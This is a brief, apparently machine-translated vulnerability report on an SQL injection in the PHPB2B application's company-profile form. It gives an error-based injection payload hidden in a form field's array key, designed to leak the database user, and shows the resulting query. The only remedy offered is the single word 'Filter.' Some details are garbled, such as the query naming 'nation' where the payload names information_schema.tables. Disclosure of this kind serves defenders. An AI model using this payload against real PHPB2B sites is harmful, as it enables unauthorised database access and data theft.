PHPB2B injection #1 (bypass filtering)

PHPB2B injection #1 (bypass filtering)

PHPB2B injection #1 somewhere. Bypass filtering.
Latest official version. https://github.com/ulinke/phpb2b/archive/master.zip
Vulnerability files. Virtual-office/company. php

POST/phpb2b/virtual-office/company. php

Content-Disposition: form-data; name = "data [company] [name]"

Content-Disposition: form-data; name = "data [company] [english_name ']"

Content-Disposition: form-data; name = "data [company] [employee_amount]"

Content-Disposition: form-data; name = "data [company] [year_annual]"

Content-Disposition: form-data; name = "data [company] [manage_type]"

Content-Disposition: form-data; name = "data [company] [property]"

Content-Disposition: form-data; name = "data [company] [description]"

Content-Disposition: form-data; name = "data [company] [main_prod]"

Content-Disposition: form-data; name = "data [company] [address]"

Content-Disposition: form-data; name = "data [company] [zipcode]"

Content-Disposition: form-data; name = "data [company] [boss_name]"

Content-Disposition: form-data; name = "data [company] [reg_address]"

...

...

Multiple parameters have the same problem.

Data [*] [* 1] is not processed.

Ex:

Content-Disposition: form-data; name = "data [company] [employee_amount FROM pb_thk_companyfields where 1 = 1 and (select 1 from (select count (*), concat (user (), floor (rand (0) * 2) x from information_schema.tables group by x) a) #]"

Run:

SELECT name, english_name, employee_amount FROM pb_thk_companyfields where 1 = 1 and (select 1 from (select count (*), concat (user (), floor (rand (0) * 2 )) x from nation group by x) a) #, year_annual, manage_type, property, description, main_prod, address, zipcode, boss_name, reg_address, found_date, reg_fund, bank_from, bank_account, main_brand, main_biz_place, main_customer, link_man, position, mobile, site_url, email, employee_amount, tel, fax, picture, status, industry_id, area_id, modified, cache_membergroupid FROM pb_thk_companies WHERE id = '12' AND member_id = 3
 

Debug mode is enabled for local testing.

Delayed Injection.
 

Database logs.
 

 

Solution:

Filter.